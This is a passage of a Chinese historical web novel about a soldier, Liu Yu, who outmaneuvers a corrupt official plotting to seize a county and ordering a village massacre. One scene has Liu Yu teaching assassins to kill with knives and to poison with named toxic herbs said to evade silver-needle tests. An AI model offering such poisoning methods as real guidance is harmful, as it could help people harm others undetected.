“你既然有他的剑，应该就能联系到他，你可以找他问问，我说的是真是假。” 柳羽神情凝重。 如果先前，柳羽对玉军师的话，还持有怀疑的态度。 那现在玉军师提起楚廿一，在联系到楚敬修，楚灵汐，堂堂靖北王世子公主，被迫躲到柳家村那样的偏僻荒村当中。 玉军师的话，柳羽不得不慎重考虑起来。 如果汪大人真是想占山为王，那柳羽就必须重新考虑考虑，自己跟自己手下这群兄弟，未来的路该怎么走了。 柳羽脑海中思绪万千。 许久之后，才深吸一口气沉重道： “玉军师，如果是这样的话，我可能需要找你借几十个天军弟兄的人头一用。” “你可能不知道，我此行出来，乃是按照汪大人的命令，前来绘制临县方圆三十里地的地形图的。” “汪大人如果真是想占山为王，就一定会试探我这种人是否靠谱，是否忠心。” “不交点诚意上去，我怕…” 第一百六十章 尊卑有序 听到这话，玉军师愣了良久，才认真地看向柳羽： “你这说的是人话吗？” “我找你借几十个人头用，你借吗？” 柳羽老脸微红。 但却是道： “你们天军手上，就没啥叛徒俘虏什么的？” 玉军师一口回绝：“没有。” 见状，柳羽也知道多说没用了。 只能是道：“那我想办法。” “先这样吧，明天一早汪大人就会有动作。” “无论他想干什么，你们等我信号，见机行事。” 玉军师点头，临走前却是强调道： “柳羽，我们只是合作。” “天军的诚意给到了，你的诚意，我还没看到。” 说罢，玉军师起身便走进了门外越下越大的大雪当中。 等到玉军师走了有一会儿之后。 柳羽让袁羌找出笔墨，按照玉军师给的地形图，省略了一些细节，复制了一张地形图出来。 做完这些后，柳羽这才让众人起身，跟随自己返回临县。 众人抵达临县时，已经是下午了。 刚回临县，柳羽甚至都来不及休息，就被刘总旗找到，要拉着他去县衙，亲自找汪大人复命。 柳羽多少有点烦躁，皱眉望着刘总旗： “新绘制的地形图我给你，你自己去找汪大人复命不就行了？” “怎么，这么几天了，你拍汪大人马屁，还没让他相信你？” 刘总旗尴尬地挠头： “关系是亲近了一些，主要是今天一早汪大人才跟我说，他要负责带人去绘制地形图的人，亲自带着新绘制的地形图去见他。” 柳羽眉头微皱。 不明白汪大人到底是想干什么。 但既然是有命令，柳羽就算是想拒绝，也没有办法。 只能是极度不耐烦地跟着刘总旗，亲自前往县衙。 抵达县衙的时候，柳羽发现，汪大人带过来的五百多名士兵，几乎是里三层外三层，把临县县衙围得水泄不通。 不仅县衙里里外外，都占满了站岗的士兵。 县衙内的每栋房屋屋顶上，都还站着两三名手持弓弩的士兵负责警戒。 在这样的严防死守下，临县县衙别说此刻。 只要是没有得到汪大人许可，哪怕是一只苍蝇，都很难飞进去。 进到内院的时候，柳羽更是发现，王总旗，武汉冲两人，更是早早就等候在了县衙大堂内。 看到刘总旗带着柳羽进来，武汉冲赶忙朝着柳羽使了个眼色，示意柳羽小心。 柳羽眉头微皱，瞬间就意识到了，今天的情况不对劲。 果然，柳羽站着刘总旗身边，站着等了半炷香左右的时间，就看到汪大人身边跟着两个全副武装的近卫，从县衙后堂缓缓走出来，坐到了县令该坐的位置上。 入座后，汪大人并没有第一时间让众人落座。 反而先是用目光在屋内扫视一圈，最后将目光定格在了柳羽身上： “你就是带队出去绘制地形图的人？” “我记得你，好像是叫柳…柳…” 柳羽朝着汪大人抱拳： “回汪大人，卑职名叫柳羽。” 汪大人眼睛一亮：“对，柳羽。” “这一趟出去，辛苦了。” 柳羽毫不犹豫道： “为国尽忠，不辛苦！” 柳羽本来以为，这就是简单的寒暄。 接下来，汪大人就要找自己要新绘制的地形图了。 不料汪大人听到柳羽这话，却是笑盈盈地盯着柳羽，看了好一会儿后，莫名其妙开口道：“为国尽忠？好，好，好士兵啊！” “大家看看，这才是咱朝廷的好士兵嘛。” 汪大人笑着，身体前倾，手肘撑着桌面上，饶有兴致望着柳羽： “不过我倒是有点好奇。” “柳羽啊，你为国尽忠，是更愿意听朝廷的命令，还是更愿意听你家刘总旗的命令呢？” 柳羽眉头轻挑。 瞬间就明白过来，为什么进来的时候，武汉冲要用眼神提醒自己小心了。 为国尽忠，听朝廷的还是听长官的，这个问题看似听谁的都一样，却有本质上的不同。 汪大人分明就是在问柳羽，你是更忠诚朝廷，还是更忠诚于自己的长官。 再联想到此前玉军师说，汪大人来临县，是为了占山为王。 此刻他看似随意地问出这个问题，却明显就是在试探柳羽，到底能不能为他所用。 回答错了，必然是致命的。 想明白这些，柳羽没有丝毫犹豫。 果断抱拳回答道： “回大人，虽然为国尽忠，听谁的都一样。” “但卑职身为刘总旗手下的兵，身为一个军人，天职便是奉行军令。” “正所谓将在外君命有所不受，朝廷不会给卑职下命令，卑职也不会奉行朝廷的命令，卑职只奉行长官的军令。” 正常来说，汪大人如果真的忠心于朝廷，听到这话，一定会生气。 但他没有。 不仅没有生气，反而是大笑出声，手指柳羽朝着在场所有人欣慰道： “哈哈哈，看看，都好好看看，这才是一名合格的士兵啊！” “刘总旗，你人不错，你带出来的兵，也错不了啊！” 柳羽一直要求刘总旗交好汪大人，跟汪大人打好关系。 这种情况下，刘总旗自然是对汪大人唯命是从。 “汪大人，正所谓子忠于父，父忠于长。” “一个家族，要把尊卑次第划分清楚，每个人处在不同的位置上，干着自己本分的事情，这样一个家族才会和睦，才能够长久发展下去，这便是礼了。” “国家同样如此，士兵忠于将军，将军忠于朝廷，尊卑有序。” “就像柳羽忠于我，我忠于汪大人，汪大人忠于朝廷一样，如果柳羽越过我去听朝廷的命令，那不是僭越了吗？” 刘总旗这番话，看似是在讲所有人都遵循的礼数。 实则是直接用大白话，当着所有人的面在跟汪大人表忠诚。 几乎就差直接说，朝廷命令是狗屁，我只听汪大人的了。 听得汪大人是满面红光，越看刘总旗越觉得顺眼。 只是一转头。 当汪大人将目光看向武汉冲跟王总旗的时候，脸上笑容却是瞬间淡了下来： “那么，您二位呢？” 王总旗几乎没有丝毫犹豫，立刻朝着汪大人抱拳道： “卑职觉得，刘总旗说得在理。” 第一百六十一章 小旗？副总旗啊 场上，无论是柳羽刘总旗，还是王总旗，都间接或直接地跟汪大人表了忠心。 几个人心里是怎么想的没人知道，至少表面功夫做到位了。 反倒是武汉冲。 见汪大人用询问的目光看向自己，武汉冲抱拳硬气道： “卑职觉得，将在外君命有所不受，是在少数情况下发生的事情。” “正常情况下，无论身份尊卑，所有人都该奉行朝廷的命令才对。” 此话一出，汪大人瞬间眯起了眼睛。 看向武汉冲的目光，更是满含杀意。 不过当下情形，汪大人也没有直接发作。 而是好像突然想起来什么似的。 汪大人目光看向刘总旗： “宪华啊，你们都在县衙，临县城内没人巡防吧？” 刘总旗点头：“是的。” “谁负责巡防来着？” “自然是武总督。” 汪大人一副了然的模样，朝着刘总旗点了点头。 随即就朝着武汉冲道： “城内没人巡防可不行，咱这也没啥重要的事情，武总督你出去巡防吧。” 柳羽瞳孔微缩。 好家伙，武汉冲就因为一句话不对，汪大人直接就赶人了？ 演都不带演一下？ 那看来，玉军师说汪大人来临县是来占山为王的，还真是说对了。 武汉冲没有犹豫。 汪大人一赶人，他立马抱拳行礼后掉头就走。 也就在武汉冲刚走没一会儿，汪大人一巴掌就拍在了桌面上。 砰！ “这个武汉冲，我刚来临县时，还敬他是个人物。” “现在看来，就是个没脑子的匹夫！” 刘总旗赶忙拍马屁： “大人息怒，武总督一介武夫，没脑子很正常的，大人没必要跟个武夫置气。” 直到刘总旗开口，汪大人脸上的怒意这才缓慢消了下去。 试探也试探了，屋里一群人，该表的忠心也表了。 汪大人见状，彻底不再隐藏。 望着众人饶有深意道： “当今朝廷，腐败无度，贪官横行。” “诸位可知，京都奉天，去年上位的天子，乃是一个不过九岁的小皇子？” 刘总旗柳羽等人纷纷摇头。 柳羽连洛北城啥情况，都不了解。 京都奉天城里的情况，那就更不知道了。 唯一知道的是，皇帝要是个小屁孩的话，那国家乱成这样，就不奇怪了。 汪大人一见众人纷纷摇头，顿时更起劲了： “也是，临县放眼天下，不过蛮荒弹丸之地，京都情形你们不知道也正常。” “我就是忧啊，当今天下，天子乳臭未干，太后垂帘听政，民变四起不说，边关更是屡受外敌侵扰。” “如此情形，诸位与我，哪有前途可言。” “只怕是朝不保夕，今日过了，都未必能见到明日的太阳咯。” 到这一刻，柳羽算是彻底确认了，汪大人就是想占山为王。 占据临县，让自己成为一方诸侯。 但问题在于。 我柳羽不信朝廷不信叛军，你汪大人何德何能，就能让我信服了？ 柳羽不仅不信服，而且绝对不会允许汪大人占山为王。 不过自己暂时没有跟汪大人正面硬刚的实力，身在汪大人手下，柳羽表面功夫还是要做足的。 柳羽故做出一副惊愕的的面孔，神情难受道： “汪大人，卑职家中还有妻室。” “如此说来，卑职为朝廷尽忠，自己的小命保不住，就连妻室的性命都保不住？” 汪大人故意说朝廷不行了。 就等着柳羽这群人问自己，他们该怎么办呢。 柳羽这样问，他开心得不得了。 却强忍得意，一脸忧愁地点头道：“可以这么说。” 见状，柳羽当即朝刘总旗递去一个眼色。 刘总旗毫不含糊，噗通一下就跪倒在了汪大人跟前： “大人，卑职家中可是上有老下有小啊大人。” “朝廷无度天下大乱，可再怎么乱，卑职也要保住家人啊大人。” 刘总旗一边说着，一边疯狂朝着汪大人磕头： “大人，救救卑职，救救卑职家中老小吧。” “该怎么做，还请大人教我。” 柳羽望着刘总旗磕头的背影，颇为欣慰。 还好自己收了刘总旗这个马屁精。 不然今天汪大人演的这出戏，自己想应付，让自己给汪大人磕头，那柳羽是万万做不到的。 别说磕头，就是下跪柳羽都觉得欠奉。 好在现在有刘总旗代替自己拍马屁。 刘总旗搁前面磕头，柳羽就搁后面抱拳： “是啊汪大人，只有您能救卑职们了。” 两个人一唱一和，直接给一旁的王总旗整不会了。 王总旗一脸懵逼，完全不知道发生啥事了。 汪大人不过就是分析了一下当下局势而已，你刘宪华堂堂一个总旗，至于这么没胆子，光是听汪大人这么一说，立马就跪地磕头，怕得要死吗？ 但更令王总旗诧异的是。 刘总旗这一跪，汪大人再看向刘总旗的目光，亲切得就好像是在看亲儿子似的。 不仅目光亲切，汪大人甚至赶忙起身走到刘总旗面前，亲自将刘总旗搀扶起来： “刘总旗，你不必担心。” “本大人既然这么说了，你是我的人，我自然会护你。” 刘总旗眼眶红润，满脸感激地朝着汪大人点头。 而汪大人在安慰过刘总旗后，却是将目光看向柳羽： “小柳啊，你现在在刘总旗军中，担任什么职位？” 柳羽眼睛微眯。 自己是小旗，汪大人会不知道？ “回大人，属下是小旗。” 听到柳羽这话，汪大人却是皱起了眉头：“小旗？小了点吧？” 说着，汪大人更是用疑惑的目光看向刘总旗： “刘总旗，我观小柳他是个人才啊。” “这样的人才，你就给个小旗职位，太低了吧？” 柳羽表情古怪。 汪大人这是…就因为自己说了几句向着他的话，直接就要收买自己？ 果然，刘总旗面对汪大人的询问，挠头道： “大人您知道的，卑职身为总旗，只有任命小旗的权利，再高点…卑职就没权利了。” 汪大人却是大手一挥，带着几分怒意道： “那也不能埋没人才啊，你没权利又明知道小柳是个人才，就不能上书问我吗？” “小旗太低了，就升个总旗吧。” 第一百六十二章 图穷匕见 汪大人笑盈盈地望着柳羽。 当小旗，只需要总旗同意就行。 而总旗，却需要身上有军功，同时有朝廷下文书亲自任命。 汪大人让柳羽当小旗，无异于是在柳羽的仕途上，帮了柳羽一大把。 说是再造之恩都不为过。 此时，汪大人已经在等着柳羽，对自己感激涕零了。 殊不知，柳羽却是难受至极。 手上控制着刘宪华这个总旗，自己是不是总旗，对柳羽来说一点都不重要。 升了官跟没升基本上一样。 甚至可以这么说。 柳羽做小旗，身份地位很低，不会有人在意柳羽。 这能够方便柳羽隐藏自己。 而当了总旗。 林县除了汪大人，刘总旗王总旗，以及武总旗这几个人之外，柳羽直接就是最能说得上话，最有地位的人。 甚至日后，就连洛北城都指挥使司，甚至是朝廷，都会因为柳羽是总旗而注意到柳羽。 这对一心想隐藏自己，当个幕后操盘手的柳羽来说，绝对不是一件好事。 正所谓枪打出头鸟。 柳羽想拥有出头鸟的权利跟地位，却一点都不想成为这个出头鸟。 以至于汪大人说要升柳羽当总旗，柳羽皱着眉头，久久都没有回话。 就在汪大人眉头微皱，以为是柳羽不愿意跟自己混的原因时。 刘总旗及时出手帮柳羽解围。 瞪着眼睛伸手拍了拍柳羽肩膀： “你小子，用得着这么兴奋吗，一个总旗而已，居然兴奋得连话都不会说了。” “现在汪大人是升你到总旗，以后跟着汪大人混，少不了你好处的。” “别傻愣着了，还不赶紧谢谢汪大人啊！” 柳羽脸色多少有点难看。 但还是故作感激地朝着汪大人抱拳： “卑职，谢汪大人。” “汪大人大恩大德，卑职没齿难忘。” 汪大人大笑出声。 望着柳羽感激的模样，他已经断定，柳羽是被他给收买了。 也是直接就把柳羽当成了自己人，摆手道： “小事，提携你这样的人才，是我为国分忧该做的分内之事。” “小柳啊，你带人绘制的临县地形图呢？” 柳羽没有犹豫，当即就把玉军师给的地形图掏了出来。 不过掏的，却不是玉军师给的那一张。 而是柳羽简化过后，复制出来的复制品。 对比原版，虽然大致相同，但缺少了一些很关键的细节。 柳羽把地形图交出去后，汪大人立刻掏出一张，出自都指挥使司的地形图进行比对。 确定大差不差后，一脸欣慰地对柳羽表达赞赏： “不错，咱柳总旗这活干得是真不错。” “我这张来自都指挥使司的地形图，是三年前绘制的，大致上跟柳总旗重新绘制的这张差不多，但缺了诸多细节。” “咱柳总旗啊，不仅将近年来的地形变化都绘制了出来，居然连叛军的一些暗哨所处的位置，占据的防御地形，都标注得清清楚楚。” “柳总旗，果然是大才啊！” 面对汪大人的夸奖，柳羽只是故作憨厚地挠头一笑。 叛军军师亲手给的地形图，细节上能差吗。 汪大人在仔细看过两份地形图后，露出思索的神情。 片刻之后，汪大人手持毛笔，在柳羽给的地形图上进行了重点标记。 一直到标注完成后，汪大人才扭头，饶有深意地看向柳羽跟刘总旗两人： “你们俩，觉得武汉冲武总旗这个人怎么样？” 听到这话，柳羽联想到之前，汪大人让所有人表忠心，唯独武汉冲不乐意。 柳羽瞬间明白，他这是要开始针对武汉冲了。 这个时候，柳羽当然不可能替武汉冲说好话，因此来得罪汪大人。 柳羽故作犹豫。 片刻后才朝着汪大人道： “汪大人是知道的，我以前是在武总旗手下当小旗，之后才转到刘总旗手下。” “武总旗这个人，领兵能力很强，能打能拼，但就是…有些居功自傲。” 柳羽这话，相当于是给刘总旗一个提示。 让他为了迎合汪大人，说武汉冲的坏话。 论拍马屁跟勾心斗角，刘总旗自然是一把好手。 一听柳羽这话，顿时就明白了柳羽的意思。 当即就一脸怒意地朝着汪大人道： “他这何止是居功自傲，简直就是目中无人。” “我可记得很清楚呢，汪大人刚来临县的时候，对武汉冲可是相当好的，当天就把武汉冲从一个总旗，升为了总旗。” “可他呢，一点不懂得感恩，屡次三番不拿汪大人当回事。” “汪大人，说句不好听的，我要是您的话，这种人就算再有能力我也绝对不会用！” 汪大人嘴角上扬。 心里明明已经乐开花了，却还是装出一副和事佬的模样来： “武汉冲他是傲了点，但毕竟还是有能力的啊。” 刘总旗赶忙道： “汪大人三思啊，有能力但不忠诚，这样的人，真的不能用啊！” 直到刘宪华都这样子劝了，汪大人这才一副难为情的模样，目光看向了柳羽： “柳总旗你觉得呢？” 柳羽心里想骂娘。 你特么的，想给武汉冲穿小鞋就穿被，又没有人拦着你。 就非得虚伪地挨个询问，比我们这些跟武汉冲当同僚的，说他的坏话吗？ 柳羽无语至极。 但面对汪大人问话又不能不回。 只能冷着眼摇头道： “卑职觉得，一个人是否忠诚，才是能不能用他的理由。” 听到这话，汪大人开心坏了。 他先入为主的以为，柳羽跟刘宪华都已经被他收买了。 见状，也不再藏着掖着了。 当即掏出地图道： “你们说得对。” “既然如此，那明天就让武总旗，带兵去豹子山清缴叛军吧。” “他这种不忠诚的人，既然用不了，而我又不好撤他的职。” “豹子山凶险，他死在战场上，应当是最好的归宿。” 柳羽轻挑眼皮。 呵呵，图穷匕见了这不是。 汪大人先前的问话，果然是奔着要武汉冲命去的。 也好。 之前叛军攻城，武汉冲明知道临县城防空虚，还留柳羽在城内，明显是想借叛军杀柳羽。 现在汪大人要杀武汉冲，对柳羽来说，也是一件好事。 第一百六十三章 训练杀手 柳羽全然没有想保武汉冲的意思。 反而是抱拳朝着汪大人道： “卑职认为，大人说的在理。” 刘宪华也是连忙附和： “大人明智啊，武汉冲身居高位而不忠，留着也是个祸患，不如除了省心！” 汪大人大笑。 当即摆手，让两人回去做好准备。 柳羽跟刘总旗见状，作揖行礼后当即转身离开县衙。 回卫所营路上，柳羽不开口，刘宪华也不敢说话。 一直到回了城门楼子关上门，没有外人后。 柳羽才目光冰冷地朝着刘宪华看去： “你觉得汪大人除武汉冲，是坏事还是好事？” 刘宪华低头沉吟。 相比较于什么汪大人，刘宪华深知，他面前的柳羽，才是真正难以揣摩的存在。 汪大人想干什么，刘宪华还觉得有迹可循。 柳羽想干什么，刘宪华却完全猜不出来。 面对柳羽这个问题，刘宪华沉思了良久之后，才挠头道： “对我们来说，应该算好事吧。” “临县少了一个总旗，我跟柳哥你的权利，就会得到进一步提升。” 然而，听到这话，柳羽却是平静地看着刘宪华反问道： “那你有没有想过，今天汪大人除武汉冲，明天就轮到我们了呢？” “你觉得汪大人这种人，对他说几句好话拍几句马屁，他就会信任我们，重用我们了？” 刘宪华彻底愣住了。 这一点，他还真不敢笃定。 他唯一敢确定的是，只要他够听话。 柳羽是一定不会动他的。 见刘宪华愣住，柳羽本来也没指望他能说出个所以然来。 这个问题，看似是柳羽问刘宪华。 实际柳羽是在问自己。 到底需不需要救一下武汉冲。 沉默许久后，柳羽思来想去还是决定走一步看一步。 毕竟明天，汪大人到底会作何安排。 还没盖棺定论呢。 柳羽暂时将一切杂乱的思绪抛之脑后。 这些日子以来，柳羽为了活着钩心斗角忙前忙后，楚廿一教的枪法，基本荒废得差不多了。 柳羽趁着下午无事，找出许久未用的寒铁长枪练了练。 快天黑的时候，柳羽让李晟跑了趟临县药铺，自己则是找刘宪华要了后卫营军械库的钥匙。 到了入夜，卫所营大部分将士都睡去后，柳羽独自走到后卫营校场上等待。 差不多半炷香过后，李晟缓缓朝着柳羽走来。 而在李晟身后，还跟着二十名身披黑衣的士兵。 靠近后，李晟当即朝着柳羽抱拳： “柳哥，太平阁七杀堂，全体人员前来报到。” 柳羽微微点头。 之前成立太平阁，定了天机堂跟七杀堂两个堂口。 一个负责收集情报，一个负责暗杀。 天机堂堂主王五，由于需要到叛军去当内奸，暂时发展不起来。 目前，柳羽只能给七杀堂二十名杀手进行特训。 七杀堂二十名杀手，都算不得什么外人。 全部都是柳羽，之前从玉军师手上拐来的叛军精锐。 四十六名叛军精锐，二十人分给了王五，二十人分给了李晟，剩下六人，柳羽还未做任何安排。 这些叛军精锐，都是被柳羽用真金白银收买的。 现在既不属于叛军，更不属于汪大人或朝廷。 独属于柳羽一个人。 柳羽自然是要好生培养。 望着面前二十人，柳羽知道，让这些人打仗，他们肯定不差。 但要让他们搞暗杀，却还差点火候。 “众兄弟，咱们七杀堂是干什么的，你们知道吧？” 此话一出，所有人齐声坚定地回应道： “回柳哥，铲除一切挡路之人！” 柳羽欣慰点头。 看来，事先李晟已经对他们进行过思想教育了。 这样也好，省得自己麻烦。 柳羽见状，当即让将后卫营军械库的钥匙拿出来递给李晟： “到军械库，取二十柄军弩，二十柄短剑，弩箭四十发就够了。” 李晟眉头微皱： “柳哥，七杀堂搞暗杀，用军械库里的装备不好吧，容易被查出来的。” “要不，我明日找匠人单独打造？” 柳羽却是摇头：“不需要，这么多场战乱下来，叛军有缴获卫所营装备，卫所营也有缴获叛军装备，寻常情况下死个人，光凭装备是查不出什么东西的，没必要浪费功夫。” 李晟挠头，想来好像也是这个道理。 当即不再犹豫，立即带着人去军械库取装备。 等装备都取过来后，柳羽让李晟分发下去，随即让李晟立了个稻草秸秆做的标靶，让二十个人轮流对着标靶射箭，查看每个人对弓弩的熟练程度。 不得不说，玉军师亲手培养出的叛军精锐就是好用。 二十个人，轮流对着五十米远的标靶用弓弩射箭。 脱靶的一个没有，绝大多数人都能做到，一箭正中靶心。 一直到柳羽让李晟把标靶挪到了七十米开外。 才逐渐出现，有五六个人射不中靶心的情况。 而这个距离，基本上就已经是弓弩有效射程的极限了。 再远也没有了意义。 七杀堂众人，射箭这一块完全不用担心。 至于用短剑杀人。 七杀堂众人之前都是上战场的，用惯了刀剑长枪这些大开大合的兵器。 柳羽发现，他们全部都是习惯性地拿着短剑，进行捅刺劈砍。 对于这些习惯，柳羽直接全盘否定。 并找李晟要了把短剑，反握着拿在手里： “诸位，你们现在是杀手，不是战场上的士兵。” “暗杀，讲究一个快准狠。” “从今往后，你们用短剑的习惯，必须改成抹脖子，捅心窝，要做到趁人不备的情况下，一击毙命，转头就跑！” 柳羽说着，亲自作示范，拿李晟当假人，站在李晟左手边，快速抬手用刀背在李晟脖颈上划了一下。 等所有人都点头表示明白后，柳羽才继续道： “另外，暗杀，不一定非得动刀动箭。” “下毒药，也是一个非常有效的暗杀手段，而且更加的隐秘。” 柳羽目光朝着李晟看去： “白天让你到药店买的东西呢？” 李晟当即转身跑回城门楼子，取了两大包药材，跟二十多根银针过来。 同时还在柳羽的要求下，用铜盆，装了半盆子温水端到所有人面前。 第一百六十四章 不留活口 东西准备齐全后，柳羽当即开始手把手教导怎么下毒。 在这个年代，主要的试毒手段，是用银针探进饭菜或者酒水当中。 只要银针不变黑，人们就会觉得东西是没毒的。 柳羽作为一个穿越者却很清楚，能让银针发黑的毒药，主要是含有硫元素的砒霜。 而像毒针树汁液这种植物毒素，或是五毒色牙齿中取出来的生物毒素，这些都是无法用银针测出来的。 柳羽给七杀堂众人一边讲解，一边将几种不同的药材丢进清水中，搅拌到清水变色： “你们看，除了毒针树汁液跟蛇毒，草乌、川乌、附子、钩吻，这几种药材，都是有着剧毒的，只需一小撮熬煮成汤水给人灌下去就能毒死人，但银针却探不出来。” 柳羽说着，用一根银针探进水里，等了半炷香的功夫才把银针从水里取出来。 随即叫李晟，拿着烛火过来照亮。 众人目光看过来，果然发现柳羽手上的银针没有变黑。 李晟看得眼睛大亮： “所以柳哥你的意思是，如果你给我们七杀堂安排刺杀目标，我们最好是下毒，其次才是刺杀？” 柳羽点头： “没错，今天把你们聚集过来就是为了说这事。” “回头有时间了，李晟你请专门的大夫过来，教兄弟们怎么下毒才足够隐蔽。” “今天先到这，明天一早你们准备好，随我一同出城。” 李晟连忙点头。 柳羽眼看时间不早了，不等七杀堂众人散去，就先一步回了城门楼子。 虽然夜已经深了，柳羽却没有睡觉。 而是在木桌上，摊开玉军师给的地形图。 想着既然汪大人要带兵进山清剿叛军，自己正好趁着这个机会，练练自己七杀堂的兵。 柳羽这一研究，就研究到了次日早上。 太阳初升的时候，临县三个卫所营在城门口集合。 等近千名士兵都集合齐了，汪大人才身穿铠甲骑着马，带着他的五百多兵马赶到城门口。 柳羽盯着黑圆圈，跟刘总旗王总旗，以及武汉冲武总旗一起，在城门处迎接汪大人。 却不想，汪大人过来后，连马都懒得下。 直接搁马上道： “王总旗，你百户营四百人马，留守临县守城。” “刘总旗武总督，你二人的后卫营跟先锋，跟在我队伍后方，随我一同进山缴贼。” “没什么疑问的，启程！” 汪大人说着，直接带着他身后浩浩荡荡五百人的队伍，朝着城门外走去。 柳羽几人自然不敢耽搁，连忙带着自己的队伍，步行跟在后方，出了城门，顺着官道朝着山里走去。 走到快靠近松阳客栈地段时，前方汪大人的队伍，才逐渐放慢步伐。 刘宪华一脸好奇地看向柳羽： “咱这加起来，总共才一千人出头。” “而且进山剿贼非一朝一夕可完成的，这粮草也不带，营帐也没有，咱这大人，到底想干什么？” 柳羽摇头。 因为哪怕是柳羽，都猜不出，汪大人的意图来。 但随着队伍行军到松阳客栈前方的岔路口时，汪大人的队伍却是一拐弯，下了官道走上了小路。 柳羽跟刘宪华带队搁后面跟着，武汉冲不知何时，从后面走到了柳羽身边。 还不等柳羽疑惑，武汉冲没事来找自己干什么。 武汉冲就先一步冷笑道： “这个方向，是去王家村的。” 柳羽眉头微皱。 根据脑海中的地形图对照，柳羽发现自己脚下的路，果然是奔着王家村方向去的。 来临县这么久，柳羽对临县周边的情况已经相对熟悉了。 临县周边三十里地内，一共有着四个村庄。 分别是王家村、刘家村、唐家村、李家村。 刘家村跟唐家村离临县最近，因为战乱，村里人基本跑光当流民去了。 唯有王家村跟李家村，处在离临县不远不近的山里，村里目前还有着人居住。 偶尔临县城里几个总旗，还会派人到这两个村子里，看看能不能募到粮食，招到兵什么的。 尤其是王家村。 王家村后山，有着一座铜矿。 此前临县的王县令在的时候，王家村铜矿时刻都有县里的衙役兵丁守着。 王县令死后，王家村跟村里的铜矿就再没有去管了。 现在具体怎么样了，没人知道。 想到这些信息，柳羽不禁疑惑： “汪大人这是要到王家村，把铜矿重新开起来？” 刘宪华却是摇头： “重新开铜矿，随便派个卫所营去就行，用得着这么大张旗鼓吗？” 武汉冲则是冷笑着道： “铜矿可是个好东西，既能生钱又能生武器。” “只怕是汪大人要借着剿匪的名头，干自己的事哦。” 柳羽眉头微皱，没有回话。 汪大人就在前面呢，说多了要是被他听了去，三个人都不会有好下场。 见柳羽不回话，武汉冲跟着柳羽走了会儿，就转身回自己的队伍去了。 柳羽则继续跟大部队走着。 走了差不多一个多时辰，柳羽却发现，前面汪大人队伍，就在离翻过一个山头就能到王家村的地方停了下来。 前面队伍停下，柳羽这些人也不得不跟着停下来。 但就在柳羽疑惑，汪大人这是要干什么的时候。 却见汪大人在前面下了马，身边跟着几个近卫，朝自己这边走了过来。 靠近后，汪大人目光笑盈盈地望向柳羽： “小柳啊，昨天你说，忠诚很重要？” 柳羽心里浮现出不好的预感，且这种不好的预感，特别强烈。 犹豫了数秒过后，柳羽才抱拳朝着汪大人道： “自然如此。” 汪大人笑着点头： “好小伙，既如此，这个立攻的机会就给你吧。” “柳羽，刘宪华！” “你们俩，率后卫营进村。” 说到这，汪大人顿了顿，意味深长地朝着柳羽笑道： “我给你们半天的时间。” “你们进村后想干什么事，抢什么东西，都是你们的自由，我不管。” “我只要一个结果，等我进王家村的时候，村里不剩一个活口。” 此话一出，柳羽神魂剧震。 不留一个活口是什么意思？ 汪大人这是要自己…屠村！ 第一百六十五章 反水 意识到这一点，柳羽浑身僵硬，呆愣在原地。 出临县之前，柳羽想过无数种可能。 也很清楚，汪大人这种人，根本不会因为自己说了几句好话，而彻底相信自己，他一定会用实际行动，来试探自己对他是否忠诚。 但柳羽怎么也没有想到，这试探来的如此之快，如此恶毒。 战乱时期，流民山匪，叛军官兵，进村抢劫是时有发生的事，哪怕是屠村之事，也屡见不鲜。 柳羽在沧县的刘家村，曾经就受过山匪流民侵扰跟攻打。 不过屠村这种事，对村民来说是绝对坏事，但对施暴者来说，却并不是。 因为古代无论是屠村还是屠城，对于干这件事的士兵来说，都算是一种奖励。 因为将领一旦下达这项命令。 就意味着士兵在可以随意杀人的同时，村里的财物，女人，一切东西，谁抢到就是谁的。 就比如此刻。 汪大人就是用奖励的口吻，对柳羽下达屠村命令的。 并且还直接挑明了告诉柳羽，柳羽带兵进王家村后，想干什么他都不管。 他只要王家村不剩一个活口。 如果柳羽是个小人，只怕现在已经笑得嘴都合不拢了。 但柳羽此刻望着汪大人，心中却是涌现出无尽的杀意： “大人，咱们朝廷官兵干这种事，不合适吧？” “卑职不解，大人为何屠村！” 柳羽此话一出，汪大人明显面露不喜。 让你屠个村表忠心，去随便抢钱抢女人，你还不解？ 你有什么好不解的？ 汪大人面色微冷道： “小柳啊，一个忠诚的人，是不会问他的长官，为何下达一个命令的，他只会听命执行。” “这一次，我当你是刚当上副总旗不懂事，不怪你。” “不要再有下次，明白吗？” 柳羽脸色难看到极致。 强忍住想拔剑一刀砍了汪大人的冲动，僵硬点头道： “卑职明白。” 说罢，柳羽当即大手朝着身后一挥。 带着后卫营四百名官兵，浩浩荡荡朝着王家村走去。 等越过山头，山下方的村庄出现在视野当中。 柳羽发现，此刻宁静的王家村，村里甚至有几个老人正坐在屋外晒太阳，身边还有几个孩童，正在屋外积雪中嬉戏打闹。 屠村这两个字的命令，轻飘飘的，落在柳羽心中，却如高山一样万般沉重。 哪怕是跟在柳羽身边的刘宪华，此刻也是神情凝重到了极点。 刘宪华沉声道： “柳哥，咱不会真要去屠村吧？” 柳羽挑眉看向刘宪华： “怎么，你当了这么久总旗，这种事一次没干过？” 刘宪华摇头，双手攥紧成拳头，咬牙切齿道： “我是人，不是畜生。” 柳羽点头。 听到这话，也算是放心了。 当即凑近些，朝着刘宪华小声道： “咱们一进村，汪大人一定就在这山头上看着。” “你先假装照命令行事，进到村里后，让手下人把村里人全部聚集起来。” 刘宪华瞪大眼睛看向柳羽： “你！” “你当真要干这丧尽天良之事！” 柳羽气得，偷偷一拳就干在了刘宪华胸口上： “你是人，难道我就是畜生了啊！” “我是让你把王家村村民聚集起来，没让你杀。” “拖延时间知道吧，你给我争取半个小时的时间，我想办法，弄死汪大人。” 刘宪华眼睛瞪得更大了。 后卫营四百多人，对比汪大人的五百多人差距虽然不大。 但临县王总旗手上还有四百人可供汪大人调动啊！ 现在反水，柳羽这伙人不仅将永远回不了临县，还会被汪大人打成叛军，永远被朝廷追杀。 刘宪华原本只是希望柳羽能放放水，屠村的时候放些村民逃命而已。 怎么也没想到，柳羽开口直接就是反水杀汪大人。 柳羽却眼神冰冷道： “我跟别人介绍自己的时候，经常说自己是山野村夫柳羽。” “我特么也是平民百姓出生，让我屠村，就是在逼我造反。” “别的你不用管，按照我的意思做，明白？” 刘宪华心里难受至极。 他的家人，还在临县城内呢。 虽然都被柳羽藏起来了，但现在跟着柳羽反水，下次想见到家人，就不知道是何年何月了，甚至可能永远都见不到。 但仅仅只是深吸一口气后，刘宪华就下定了决心。 跟着柳羽，或许没前途，甚至命都保不住。 但跟着汪大人这种，开口就是屠村的人，迟早有一天会因为一不小心犯了什么错误，或是惹了汪大人不开心，死在自己人手上。 